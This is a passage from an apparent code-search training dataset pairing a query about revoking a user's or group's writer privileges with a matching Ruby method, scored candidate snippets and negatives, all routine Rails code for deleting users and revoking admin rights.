end", "def revoke_superuser(user, opts={})\n return false unless self.superuser?(user, opts)\n unh = self._user_and_host(user, opts[:host])\n self.interpreter.log.info(PNOTE+\"Revoked superuser rights from MySQL user: #{unh}\")\n self.fetch(\"revoke all on *.* from #{unh}\") if self.interpreter.writing?\n return true\n end", "def destroy\n restrict('allow only admins') or begin\n @user = User.find_by_id(params[:id])\n if @user.destroy\n respond_to do |format|\n format.html { redirect_to manage_users_url }\n format.xml { head :ok }\n end\n else\n \n end\n end\n end", "def disable_admin\n if current_user.admin?\n user = User.find(params[:id])\n user.update_attribute(\"admin\", false)\n redirect_to \"/users\"\n else\n redirect_to \"/home\"\n flash[:warning] = \"Only admins can perform that action.\"\n end\n end", "def remove_pfda_admin_user(orgs_dxs)\n return if user.dxid == ADMIN_USER\n\n orgs_dxs.each { |dxorg| papi.call(dxorg, \"removeMember\", user: ADMIN_USER) }\n end", "def unauthorize_member\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n auth_or_unauth_member(\"unauth\", @user, @group)\n end", "def destroy\n # destroy not implemented - only admins may \"purge\" or \"delete\" users\n raise \"This action is not implemented\"\n end", "def destroy\n\n #Make sure only logged in admins can manipulate users\n\n if @loggedinuser && @loggedinuser.authorizationlevel >= 4\n @user = User.find(params[:id])\n if (@user)\n @user.destroy\n end\n redirect_to :action => 'index'\n else\n redirect_to '/'\n end \n end", "def destroy\n restrict 'allow only admins' or begin\n @admin = Admin.find_by_id(params[:id])\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url }\n format.xml { head :ok }\n end\n end\n end", "def destroy\n restrict 'allow only admins' or begin\n @admin = Admin.find_by_id(params[:id])\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url }\n format.xml { head :ok }\n end\n end\n end", "def delete_confirm\n return appctrl_not_permitted() unless ( @current_user.admin? )\n\n # Nobody can delete admin accounts. You must assign the admin\n # privilege to someone else, then, since you can't revoke your\n # own admin privileges either, have the new admin change your\n # account type and delete the user record. This is a good way\n # of ensuring that there is always at least one admin.\n\n @record = User.find( params[ :id ] )\n return appctrl_not_permitted() if ( @record.admin? )\n\n @record.destroy()\n\n flash[ :notice ] = 'User and all associated data deleted'\n redirect_to( users_path() )\n end", "def remove_roles_from_admin group\n group.roles.each do |role|\n if admin_roles.map(&:role).include?(role) and not role_in_groups?(role.name)\n admin_roles.find_by_role_id(role.id).destroy\n end\n end\n end", "def destroy\n if @user.admin == true\n flash[:danger] = \"You cannot delete an admin\"\n redirect_to users_path\n else\n flash[:success] = \"Delete success\"\n Antenna.where(user_id: @user.id).delete_all\n OwnBox.where(user_id: @user.id).delete_all\n OwnDevice.where(user_id: @user.id).delete_all\n @user.destroy\n redirect_to users_path\n end\n end", "def destroy\n @user = User.find(params[:id])\n\n # Special-case code that comes from devctm_template that you will want\n # to remove when you use a more sophisticated authorization system\n\n if @user.admin?\n\n # The rationale for not allowing an admin account to be deleted\n # when we have a very simplistic idea of an admin account is to\n # avoid the situation where there no longer is an admin account\n # because of accidental deletion. This may be acceptable for\n # simple apps and this code is easily deleted once it gets in\n # the way.\n\n respond_to do |format|\n format.html do\n flash[:notice] = 'An admin account may not be deleted.'\n redirect_to(admin_users_url)\n end\n format.xml do\n @user.errors.add_to_base('An admin account may not be deleted')\n render :xml => @user.errors, :status => :forbidden\n end\n end\n else\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_users_url) }\n format.xml { head :ok }\n end\n end\n end", "def destroy\n @user = User.find(params[:id])\n\n if @user.admin? && User.admin_count == 1\n message = 'Can not disable last admin user.'\n else\n @user.disable\n message = 'User was successfully disabled.'\n end\n\n respond_to do |format|\n flash[:notice] = message\n format.html { redirect_to users_url }\n format.xml { head :ok }\n end\n end", "def destroy\n if User.find(params[:id]).admin?\n redirect_to users_url\n else\n User.find(params[:id]).delete\n flash[:sucess] = \"User deleted\"\n redirect_to users_url\n end\n end", "def revoke(user, session)\n\t\trevoke_session user if authorize(user, session)\n\tend", "def unadmin!\n metadata['admin'] = false\n save\n end", "def destroy\n user = User.find(params[:id])\n # if admin tries to delete himself\n if current_user?(user)\n flash[:error] = \"Admins are not allowed to self destruct\"\n redirect_to users_path\n else\n user.destroy\n flash[:success] = \"User #{user.name} was successfully deleted.\"\n redirect_to users_path\n end\n end", "def deny_admin_suicide\n raise 'admin suicided' if User.count(&:admin) <= 1\n end", "def deny_admin_suicide\n raise 'admin suicided' if User.count(&:admin) <= 1\n end", "def admin_log_out\n session.delete(:admin_user_id)\n @current_admin_user = nil\n end", "def revoke\n ip, security_group = parse_security_group_and_ip_from_args\n rds.revoke_db_security_group_ingress(security_group, 'CIDRIP' => ip)\n self.access\n end", "def revoke(user_id)\n require_user\n\n user = User.find(user_id)\n user.secrets.each do |secret|\n secret.destroy\n end\n\n user.destroy\n end", "def destroy\n @user = User.find(params[:id])\n @user.delete!\n\n redirect_to admin_users_path\n end", "def destroy\n @user = User.find(params[:id])\n @user.delete!\n\n redirect_to admin_users_path\n end", "def appctrl_admin_destroy( model )\n return appctrl_not_permitted() unless ( @current_user.admin? )\n appctrl_destroy( model )\n end", "def delete_permissions_for_user(user)\n remove_filtered_policy(0, user)\n end", "def destroy\n\t\tif(is_admin?)\n\t @user = User.find(params[:id])\n \t \t@user.destroy\n\t respond_to do |format|\n \t \tformat.html { redirect_to(users_url) }\n \t \tformat.xml { head :ok }\n\t\t\tend\n\t\telse\n\t\t\tredirect_to user_path, notice: 'Access Denied'\n end\n end", "def dont_delete_admin\n\t\t raise \"You cannot delete the last admin\" if self.id == 1 || User.count == 1\n\t end", "def revoke_user(user_oauth_token)\n params = { token: user_oauth_token }\n api_post(@revoke_url, @client_id, params)\n end", "def destroy\n if current_user.is_an_admin?\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n else\n flash[:error] = \"That action is not permitted.\"\n redirect_back_or_default('/')\n end \n end", "def destroy\n @user = User.find(params[:id])\n if current_user?(@user)\n redirect_to users_path, notice: \"Admins are not able to delete themselves.\"\n else\n @user.destroy\n flash[:success] = \"User deleted.\"\n redirect_to users_url\n end\n end", "def destroy\n if @user == current_user or @user.super_admin?\n return redirect_to super_admin_users_path, alert: 'Super Admins cannot be deleted'\n end\n @user.destroy\n respond_to do |format|\n format.html { redirect_to super_admin_users_path, notice: 'Super Admin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find_by_username(params[:id])\n authorize! :manage, @user\n \n if !current_user.has_role?(:admin)\n redirect_to root_url, alert: \"Only admins allowed.\"\n else\n \n\n respond_to do |format|\n if @user.destroy\n format.html { redirect_to root_url, notice: \"User deleted.\" } \n else\n format.html { redirect_to user_path(@user.username), notice: \"User deactivated.\" } \n end\n end\n end\n end", "def destroy\n if !@user.is_admin && @user.destroy\n flash[:notice] = \"User deleted successfully\"\n else\n flash[:alert] = \"Unable to delete user\"\n end\n redirect_to users_path\n end", "def destroy_user(id)\n #TODO:\n # ADD SOME USER LEVEL TO AVOID THESE\n end", "def remove(name)\n syscmd(\"userdel -f #{name}\")\n syscmd(\"groupdel #{name}\", valid_rcs: [6])\n exclusively { users.delete(name) }\n end", "def destroy_user\n self.own_children.each do |child|\n unless child.admins.where([\"relations.user_id != ?\", self.id]).any?\n child.destroy_child\n end\n end\n self.destroy\n end", "def destroy\n @user.destroy\n respond_with( [ :admin, @user] )\n end", "def destroy\n @user = User.find(params[:id])\n if @user.tasks.present?\n Task.where(user_id: params[:id]).destroy_all\n end\n if @user.id == current_user.id\n redirect_to admin_users_url, notice: \"You can not delete signed in user\"\n @admin = User.admin\n elsif @admin == 1\n redirect_to admin_users_url, notice: \"Atleast one admin must remain!\"\n else\n @user.destroy\n redirect_to admin_users_url, notice: 'User was successfully destroyed.'\n end\n end", "def destroy\n @admin_admin_user = Admin::AdminUser.find(params[:id])\n @admin_admin_user.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_admin_users_url }\n format.json { head :no_content }\n end\n end", "def remove_member(user)\r\n fail \"not enough admins left\" if self.is_last_admin?(user)\r\n\r\n @member_limits.delete(user.email)\r\n self.members.delete(user.email)\r\n self.admins.delete(user.email) if self.is_admin?(user)\r\n end", "def remove_users\r\n @userAdmin.destroy\r\n @user2.destroy\r\n @user3.destroy\r\n end", "def destroy\n if session[:admin_user]\n old_user = session[:user]\n session[:user] = session[:admin_user]\n session.delete(:admin_user)\n flash[:success] = \"Logged out <b>#{old_user.username}</b>, returned to <b>#{session[:user].username}</b>\".html_safe\n else\n session[:user] = nil\n flash[:success] = \"You have successfully logged out\"\n end\n redirect_to request.referer || \"/\"\n end", "def revoke_access(user_identifier)\n Scribd::Security.revoke_access user_identifier, self\n end", "def destroy\n deleted = false\n # Não é possível deletar o último super admin\n if @user.can_delete?(current_user)\n @user.destroy\n deleted = true\n end\n\n respond_to do |format|\n if deleted\n format.html { redirect_to admin_users_url, notice: \"Usuário deletado com sucesso!\" }\n else\n format.html { redirect_to admin_users_url, alert: \"Impossível deletar o último SuperAdmin do sistema ou usuário de um aluno!\" }\n end\n format.json { head :no_content }\n end\n end", "def revoke_authorization user_id\n credentials = get_credentials user_id\n if credentials\n begin\n @token_store.delete user_id\n ensure\n credentials.revoke!\n end\n end\n nil\n end", "def revoke_user_impersonation_token(user_id, impersonation_token_id)\n delete(\"/users/#{user_id}/impersonation_tokens/#{impersonation_token_id}\")\n end", "def revoke *args\n opts = extract_options!(args)\n principals = extract_principals(opts)\n args.each { |role| revoke_role_from_principals(role, principals) }\n self\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_users_url }\n end\n end", "def destroy\n user = User.find(params[:id])\n if user.role == 'admin'\n user.destroy\n render json: { status: 200, msg: 'User has been deleted.' }\n else\n not_auth\n end\n end", "def destroy \n if !current_user.isScrumMasterOrProductOwner?\n if !current_user.isAdmin?\n if current_user.id == @user.id\n borrar\n else\n redirect_to(root_path, notice: \"You can not delete other users\")\n end\n else\n if User.where(:role => \"admin\").count > 1 or @user.role == \"user\"\n borrar\n else\n redirect_to(users_path, notice: \"It is not allowed to delete the admin\")\n end\n end\n else\n redirect_to(root_path, notice: \"It is not allowed to delete users while being a Scrum Master or Product Owner\")\n end\n end", "def purge\n @user.destroy\n redirect_to admin_users_path\n end", "def kick_user\n @course = Course.find(params[:id])\n @user = User.find(params[:user_id])\n\n User::ROLES.each { |role| @user.remove_role role, @course }\n @course.users.delete(@user)\n\n flash[:notice] = \"User has been removed from the course.\"\n redirect_to :back\n end", "def destroy\n @admin_user = AdminUser.find(params[:id])\n @admin_user.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_users_url }\n format.json { head :ok }\n end\n end", "def drop_user(user, options = nil)\n policy = create_policy(options, AdminPolicy, default_admin_policy)\n command = AdminCommand.new\n command.drop_user(@cluster, policy, user)\n end", "def destroy\n @admin_user = AdminUser.find(params[:id])\n @admin_user.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n UserService.deleteUser(params[:id],current_admin[:id])\n redirect_to users_path\n end", "def delete_user(user)\n users = roles\n existing = users[\"cloudant\"]\n \n existing.delete(user) if existing\n update_roles(users)\n end", "def destroy\n @user = User.find(params[:id])\n\n if is_admin\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n #format.json { head :ok }\n end\n else\n redirect_to @user\n end \n end", "def destroy\n @user = User.find(params[:id])\n\n if is_admin\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n #format.json { head :ok }\n end\n else\n redirect_to @user\n end \n end", "def revoke(*roles)\n delete(roles)\n reload\n end", "def delete_user(user)\n res1 = remove_filtered_grouping_policy(0, user)\n res2 = remove_filtered_policy(0, user)\n res1 || res2\n end", "def toggle_admin\n do_toggle_role :admin\n end", "def destroy\n if current_user && current_user.admin? \n @user = User.find(params[:id])\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n else\n flash[:notice] = 'You do not have Admin rights to delete a user'\n redirect_to home_index_path\n end\n end", "def require_admin\n deny_wrong_user if !admin?\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n flash[:notice] = \"User deleted successfully.\"\n redirect_to admin_user_path\n end", "def revoke\n post('/api/revoke')\n end", "def destroy\n @user = User.find(params[:id])\n if (session[:user] && session[:user].admin == 1)\n User.destroyCascade(@user)\n end\n \n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "def change_privilege(user, group)\n begin\n if group\n log \"Changing group to #{group}.\"\n Process::GID.change_privilege(Etc.getgrnam(group).gid)\n end\n\n if user\n log \"Changing user to #{user}.\" \n Process::UID.change_privilege(Etc.getpwnam(user).uid)\n end\n rescue Errno::EPERM\n log \"FAILED to change user:group #{user}:#{group}: #$!\"\n exit 1\n end\n end", "def admin_user\n @group = Membership.find(params[:id]).group\n redirect_to group_members_url(@group) unless @group.has_admin?(current_user)\n end", "def drop_privileges(uid, gid, supplementary_groups)\n if ::Process::Sys.geteuid == 0\n uid_num = Etc.getpwnam(uid).uid if uid\n gid_num = Etc.getgrnam(gid).gid if gid\n\n supplementary_groups ||= []\n\n group_nums = supplementary_groups.map do |group|\n Etc.getgrnam(group).gid\n end\n\n ::Process.groups = [gid_num] if gid\n ::Process.groups |= group_nums unless group_nums.empty?\n ::Process::Sys.setgid(gid_num) if gid\n ::Process::Sys.setuid(uid_num) if uid\n ENV['HOME'] = Etc.getpwuid(uid_num).try(:dir) || ENV['HOME'] if uid\n end\n end", "def delete_roles_for_user(user)\n remove_filtered_grouping_policy(0, user)\n end", "def destroy\n flash[:error] = 'Accounts can only be deleted by admins!'\n redirect_to edit_user_registration_path\n end", "def postUserGroup_admin_remove( user_id)\n params = Hash.new\n params['user_id'] = user_id\n return doCurl(\"post\",\"/user/group_admin_remove\",params)\n end", "def user_reset_password_by_admin user\n data = {\n category: 'Users',\n action: 'Reset Password by Admin',\n label: user.email,\n value: nil,\n bounce: true,\n }\n\n create_event data\n end", "def prevent_admin_role\n raise ActionController::RoutingError.new('Forbidden') if !current_user.is_admin? && params[:user][:role] == 'admin'\n end", "def destroy\n authorize(@administrator, :update?)\n\n @administrator.destroy\n\n redirect_to admin_administrators_path, notice: t('administrator.deleted')\n end", "def admin_user\n @user = current_user\n redirect_to @user unless @user.admin?\n end", "def delete_user(deluser_id)\n @group_users.delete_if { |item| item.user_id == deluser_id }\n end", "def clear_patron_data\n if User.where(admin: [nil, false]).destroy_all\n flash[:success] = t('users.clear_patron_data_success')\n end\n redirect_to users_url\n end", "def curator_access_revoke\n unless user_signed_in? && current_user.user_type == \"curator\"\n redirect_to root_path\n end\n end", "def revoke(userid=nil, email=nil) #(userid OR email) required\n end", "def remove_user!( user )\n user.remove_group!( self )\n end", "def destroy\n if @user != current_user && !current_user.admin?\n render json: ['Not authorized for that action'], status: :unauthorized\n else\n if @user.destroy\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end\n end" ]
[ "0.78655076", "0.7255248", "0.7041714", "0.6998136", "0.68060064", "0.6720279", "0.6680363", "0.65837175", "0.65114397", "0.648584", "0.64757943", "0.6449651", "0.6442491", "0.64257944", "0.6407558", "0.6336135", "0.63146025", "0.6228522", "0.620599", "0.62012726", "0.61817324", "0.6175713", "0.61465573", "0.61465573", "0.6113982", "0.6088816", "0.605293", "0.6047149", "0.6040977", "0.60282874", "0.6027866", "0.602656", "0.60199356", "0.59968346", "0.59968346", "0.5984108", "0.5973064", "0.5969571", "0.596894", "0.596894", "0.594439", "0.5941314", "0.59213537", "0.5863207", "0.5858847", "0.5847321", "0.58466315", "0.5844893", "0.5836702", "0.5834574", "0.58330667", "0.58325434", "0.5828617", "0.5817278", "0.58132327", "0.5810639", "0.5799578", "0.5781022", "0.57742757", "0.57741815", "0.5769379", "0.57683086", "0.5765949", "0.5749397", "0.5741359", "0.5734905", "0.5731166", "0.5727554", "0.5722981", "0.5716208", "0.57114863", "0.5695694", "0.568663", "0.568554", "0.5682306", "0.5682306", "0.5677316", "0.56676", "0.5652641", "0.5646419", "0.5643569", "0.5641781", "0.5636061", "0.56344485", "0.5616807", "0.5609231", "0.5608954", "0.5606563", "0.5596703", "0.5596671", "0.55951387", "0.55909336", "0.5586207", "0.55860746", "0.5585908", "0.5585538", "0.5581274", "0.5580104", "0.55786514", "0.55770254" ]
0.6644865
7
Revoke a User's or UserGroup's writer privileges.
def remove_writer(arg) chg_permission(writers, arg, :remove) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def revoke_admin\n authorize! @user\n @user.roles = @user.roles - ['admin']\n @user.save\n redirect_to @user, notice: t('user.revoked_admin', name: @user.username)\n end", "def revoke_privileges(role_name, privileges, options = nil)\n policy = create_policy(options, AdminPolicy, default_admin_policy)\n command = AdminCommand.new\n command.revoke_privileges(@cluster, policy, role_name, privileges)\n end", "def revoke_admin_rights(member)\r\n fail \"#{member.email} is not a admin of this organisation\" unless admins[member.email]\r\n fail \"not enough admins left\" unless self.admin_count > 1\r\n self.admins.delete(member.email)\r\n end", "def revoke_all_permissions\n update_column(:admin, nil)\n UserPermission.where(user_id: id).each(&:destroy)\n end", "def revoke_access(user_identifier)\n Scribd::Security.revoke_access user_identifier, self\n end", "def drop_privileges(user, group)\n uid, gid = user_id(user) if user\n gid = group_id(group) if group\n\n Process::Sys.setgid(gid) if gid\n Process::Sys.setuid(uid) if uid\n rescue Errno::EPERM => e\n raise ServiceError, \"unable to drop privileges (#{e})\"\n end", "def delete_permissions_for_user(user)\n remove_filtered_policy(0, user)\n end", "def revoke_roles(user, roles, options = nil)\n policy = create_policy(options, AdminPolicy, default_admin_policy)\n command = AdminCommand.new\n command.revoke_roles(@cluster, policy, user, roles)\n end", "def remove_reader(arg)\n chg_permission(readers, arg, :remove)\n end", "def revoke_authorization user_id\n credentials = get_credentials user_id\n if credentials\n begin\n @token_store.delete user_id\n ensure\n credentials.revoke!\n end\n end\n nil\n end", "def revoke_firecloud_acl\n\t\tbegin\n\t\t\tunless self.permission == 'Reviewer'\n\t\t\t\tacl = Study.firecloud_client.create_workspace_acl(self.email, 'NO ACCESS')\n\t\t\t\tStudy.firecloud_client.update_workspace_acl(self.firecloud_project, self.firecloud_workspace, acl)\n\t\t\tend\n\t\trescue RuntimeError => e\n\t\t\tRails.logger.error \"#{Time.now}: Could not remove share for #{self.email} to workspace #{self.firecloud_workspace} due to: #{e.message}\"\n\t\t\tSingleCellMailer.share_delete_fail(self.study, self.email).deliver_now\n\t\tend\n\tend", "def revoke(*roles)\n delete(roles)\n reload\n end", "def delete_all_user_permissions\n self.permissions.each do |p|\n if p.contributor_type == 'User'\n p.destroy\n end\n end\n end", "def handle_revoke_permission\n raise ArgumentError, \"Error: trying to revoke permission #{privilege_set_name} for #{pristine_role.name}, but this permission does not exist\" unless cbac_permission_exists?\n\n if pristine_role.role_type == PristineRole.ROLE_TYPES[:context]\n permission = Cbac::Permission.joins(:privilege_set).where(\"cbac_privilege_set.name = ?\", privilege_set_name).where(context_role: pristine_role.name).first\n else\n permission = Cbac::Permission.joins(:generic_role, :privilege_set).where(\"cbac_privilege_set.name = ?\", privilege_set_name).where(\"cbac_generic_roles.name = ?\", pristine_role.name).first\n end\n\n register_change if Cbac::Permission.find(permission.id).destroy\n end", "def revoke *args\n opts = extract_options!(args)\n principals = extract_principals(opts)\n args.each { |role| revoke_role_from_principals(role, principals) }\n self\n end", "def revoke\n useraccount = Useraccount.find_by_username(params[:username])\n right = Right.find(params[:right_id])\n useraccount.rights.delete(right)\n useraccount.touch # sets useraccount.updated_at to now\n \n redirect_to :action => 'rightassignment', :username => params[:username]\n end", "def revoke(user, session)\n\t\trevoke_session user if authorize(user, session)\n\tend", "def remove(name)\n syscmd(\"userdel -f #{name}\")\n syscmd(\"groupdel #{name}\", valid_rcs: [6])\n exclusively { users.delete(name) }\n end", "def revoke_admin\n self.update_attributes(:admin => false)\n end", "def revoke_user_impersonation_token(user_id, impersonation_token_id)\n delete(\"/users/#{user_id}/impersonation_tokens/#{impersonation_token_id}\")\n end", "def remove_project_admin_auth(project_id_or_key, user_id)\n delete(\"projects/#{project_id_or_key}/administrators\", user_id: user_id)\n end", "def revoke(user_id)\n require_user\n\n user = User.find(user_id)\n user.secrets.each do |secret|\n secret.destroy\n end\n\n user.destroy\n end", "def delete_permission_for_user(user, *permission)\n remove_policy(Util.join_slice(user, *permission))\n end", "def destroy\n if check_user_write_access\n user.destroy\n\n respond_to do |format|\n format.html { redirect_to :root }\n format.json { head :no_content }\n end\n end\n end", "def revoke\n ip, security_group = parse_security_group_and_ip_from_args\n rds.revoke_db_security_group_ingress(security_group, 'CIDRIP' => ip)\n self.access\n end", "def destroy\n restrict('allow only admins') or begin\n @user = User.find_by_id(params[:id])\n if @user.destroy\n respond_to do |format|\n format.html { redirect_to manage_users_url }\n format.xml { head :ok }\n end\n else\n \n end\n end\n end", "def destroy\n # destroy not implemented - only admins may \"purge\" or \"delete\" users\n raise \"This action is not implemented\"\n end", "def revoke\n post('/api/revoke')\n end", "def remove_admin(arg)\n chg_permission(admins, arg, :remove)\n end", "def revoke_role(role)\n self.roles.delete(role) if roles\n end", "def revoke(name, permissions)\n bucket, thing = bucket_and_thing(name)\n permissions.each do |subject, perms|\n grantee = RightAws::S3::Grantee.new(thing, subject, perms.map {|perm| perm.upcase}, :refresh)\n if perms.empty? then\n grantee.drop\n else\n grantee.revoke(*permissions)\n grantee.apply\n end\n end\n end", "def unauthorize_member\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n auth_or_unauth_member(\"unauth\", @user, @group)\n end", "def deletable_by?(user)\n user.has_role?(:editor) || user.has_role?(:admin)\n end", "def remove_user_privilege(channel, nick, privilege)\n channel = normalized_channel_name(channel)\n privcode = server_type.privilege.key(privilege).chr if server_type.privilege.value? privilege\n privcode ||= privilege\n mode channel, \"-#{privcode}\", nick\n end", "def remove_user!( user )\n user.remove_group!( self )\n end", "def rm_user(member)\n self[:users].delete member\n end", "def revoke_user(user_oauth_token)\n params = { token: user_oauth_token }\n api_post(@revoke_url, @client_id, params)\n end", "def delete_workspace_permission(user, workspace)\n\n if @upgrade_only_mode then\n @logger.info \" #{user[\"UserName\"]} #{workspace[\"Name\"]} - upgrade_only_mode == true.\"\n @logger.warn \" Proposed Permission: #{NOACCESS}\"\n @logger.info \" Proposed Permission change would downgrade permissions. No permission updates applied.\"\n return\n end\n\n # queries on permissions are a bit limited - to only one filter parameter\n workspace_permission_query = RallyAPI::RallyQuery.new()\n workspace_permission_query.type = :workspacepermission\n workspace_permission_query.fetch = \"Workspace,Name,ObjectID,Role,User,UserName\"\n workspace_permission_query.page_size = 200 #optional - default is 200\n workspace_permission_query.order = \"Name Asc\"\n workspace_permission_query.query_string = \"(User.UserName = \\\"\" + user.UserName + \"\\\")\"\n\n query_results = @rally.find(workspace_permission_query)\n\n query_results.each do | this_workspace_permission |\n\n this_workspace = this_workspace_permission.Workspace\n this_workspace_oid = this_workspace[\"ObjectID\"].to_s\n\n if this_workspace_permission != nil && this_workspace_oid == workspace[\"ObjectID\"].to_s\n begin\n @rally.delete(this_workspace_permission[\"_ref\"])\n rescue Exception => ex\n this_user = this_workspace_permission.User\n this_user_name = this_user.Name\n\n @logger.warn \"Cannot remove WorkspacePermission: #{this_workspace_permission.Name}.\"\n @logger.warn \"WorkspacePermission either already NoAccess, or would remove the only WorkspacePermission in Subscription.\"\n @logger.warn \"User #{this_user_name} must have access to at least one Workspace within the Subscription.\"\n end\n end\n end\n end", "def deletable_by?(user)\n user.has_role?(:admin) or resource.user_id == user.id\n end", "def delete_user(user)\n res1 = remove_filtered_grouping_policy(0, user)\n res2 = remove_filtered_policy(0, user)\n res1 || res2\n end", "def remove_rights(*values)\n if values.size == 0\n @remove_rights\n else\n args = values.pop\n args[:permissions] ||= []\n values.each do |value|\n args[:permissions] |= Array(value)\n end\n @remove_rights ||= []\n @remove_rights << args\n end\n end", "def remove_rights(*values)\n if values.size == 0\n @remove_rights\n else\n args = values.pop\n args[:permissions] ||= []\n values.each do |value|\n args[:permissions] |= Array(value)\n end\n @remove_rights ||= []\n @remove_rights << args\n end\n end", "def delete_roles_for_user(user)\n remove_filtered_grouping_policy(0, user)\n end", "def unmake_watchdog\n authorize! :manage_watchdogs, User\n @user.remove_role [:watchdog, :watchdog_probation]\n render_success_message('Removed successfully watchdog role.')\n end", "def revoke\n @session.do_rpc_endpoint('/revoke')\n nil\n end", "def admin_deny_user\n @user.destroy\n redirect_to admin_path, notice: \"User Denied and Account Deleted\"\n end", "def remove_admin\n @team = Team.find(params[:id])\n authorize @team, :update?\n\n @user = User.find(params[:user_id])\n @user.remove_role :admin, @team\n\n respond_to do |format|\n format.html { redirect_to @team, notice: 'User was successfully removed as admin.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.transaction do\n @user.user_roles.destroy_all\n @user.update_attribute(:admin, false)\n end\n respond_to do |format|\n format.html { redirect_to admin_roles_path }\n format.json { head :no_content }\n end\n end", "def remove_readwrite_user(opts)\n opts = check_params(opts,[:rw_user_info])\n super(opts)\n end", "def change_privilege(user, group)\n begin\n if group\n log \"Changing group to #{group}.\"\n Process::GID.change_privilege(Etc.getgrnam(group).gid)\n end\n\n if user\n log \"Changing user to #{user}.\" \n Process::UID.change_privilege(Etc.getpwnam(user).uid)\n end\n rescue Errno::EPERM\n log \"FAILED to change user:group #{user}:#{group}: #$!\"\n exit 1\n end\n end", "def curator_access_revoke\n unless user_signed_in? && current_user.user_type == \"curator\"\n redirect_to root_path\n end\n end", "def remove_from_acl(group_ids)\n # filter out the owning user so never accidentally removed\n group_ids = filter_owner(group_ids)\n acl.remove_groups(group_ids)\n end", "def prevent_manager_removal(resource, permission)\n permission.access_type == Policy::MANAGING && permission.contributor == current_user.person && resource.contributor != current_user\n end", "def leave_group(user = nil)\n membership = Membership.find_by user_id: user.id, group_id: id\n raise 'AdminUserCannotLeave' if membership.role == 'admin'\n\n Ticket.where(group_id: id, owner_id: user.id).delete_all\n Ticket.where(group_id: id, user_id: user.id).find_each(&:unassign)\n Membership.where(group_id: id, user_id: user.id).delete_all\n end", "def prevent_manager_removal(resource, permission)\n permission.access_type==Policy::MANAGING && permission.contributor==current_user.person && resource.contributor != current_user\n end", "def destroy\n\n #Make sure only logged in admins can manipulate users\n\n if @loggedinuser && @loggedinuser.authorizationlevel >= 4\n @user = User.find(params[:id])\n if (@user)\n @user.destroy\n end\n redirect_to :action => 'index'\n else\n redirect_to '/'\n end \n end", "def rem_admin oid\n self.admins.delete oid\n end", "def revoke_session(user)\n\t\t@sessions.delete user\n\tend", "def revoke(userid=nil, email=nil) #(userid OR email) required\n end", "def removerole(userrole)\n userrole.delete if userroles.count > 1\n end", "def deactivate_user(user, pid)\n\n headers = {:x_storageapi_token => @kbc_api_token, :accept => :json, :content_type => :json}\n\n resource = (\"#{@api_endpoint}/project-users?writerId=#{@writer_id}&pid=#{pid}&email=#{user}\")\n\n resource.gsub!(\"+\", \"%2B\")\n\n response = RestClient.delete resource, headers\n\n return response\n\n end", "def disallow_edit(user)\n self.content_permissions.by_user(user).destroy_all\n end", "def remove_moderator(user)\n \n if self.users.moderators != nil && self.users.moderators.include?(user)\n \n #basic validation to ensure that the category has at least 1 moderator\n if (self.users.moderators.count > 0 == false)\n return redirect_to :back, notice: \"Category must have at least 1 moderator.\"\n else\n #remove the moderator\n s = Subscriber.where(:category_id => self.id, :user_id => user.id).limit(1)[0]\n s.moderator = false\n s.save\n end \n else\n nil\n end \n end", "def revoke_oauth_token\n current_user.revoke_token\n end", "def revoke_user_token(token)\n body = {\n token: token\n }\n @client.post('/auth/oauth2/revoke', body, {}, {'Content-Type' => 'application/x-www-form-urlencoded'})\n end", "def revoke(userid=nil, email=nil) #(userid OR email) required\n end", "def removePermission( other_user )\n if ( (not other_user.valid?) or ( other_user.is_a?(User) == false ) )\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"basic check failed\"\n # d other_user.type\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return false\n end\n user = self.getUser()\n if ( other_user == user )\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"same user as owner\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return false\n end\n if self.special_users\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"group before\"\n # d self.special_users\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n self.special_users.delete( other_user.id.to_s )\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"group after\"\n # d self.special_users\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return true\n end\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"The file has no special group\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return false\n end", "def revoke!\n self.revoked = Time.now.to_i\n Client.collection.filter(:id => id).update :revoked => revoked\n AuthRequest.collection.filter(:client_id 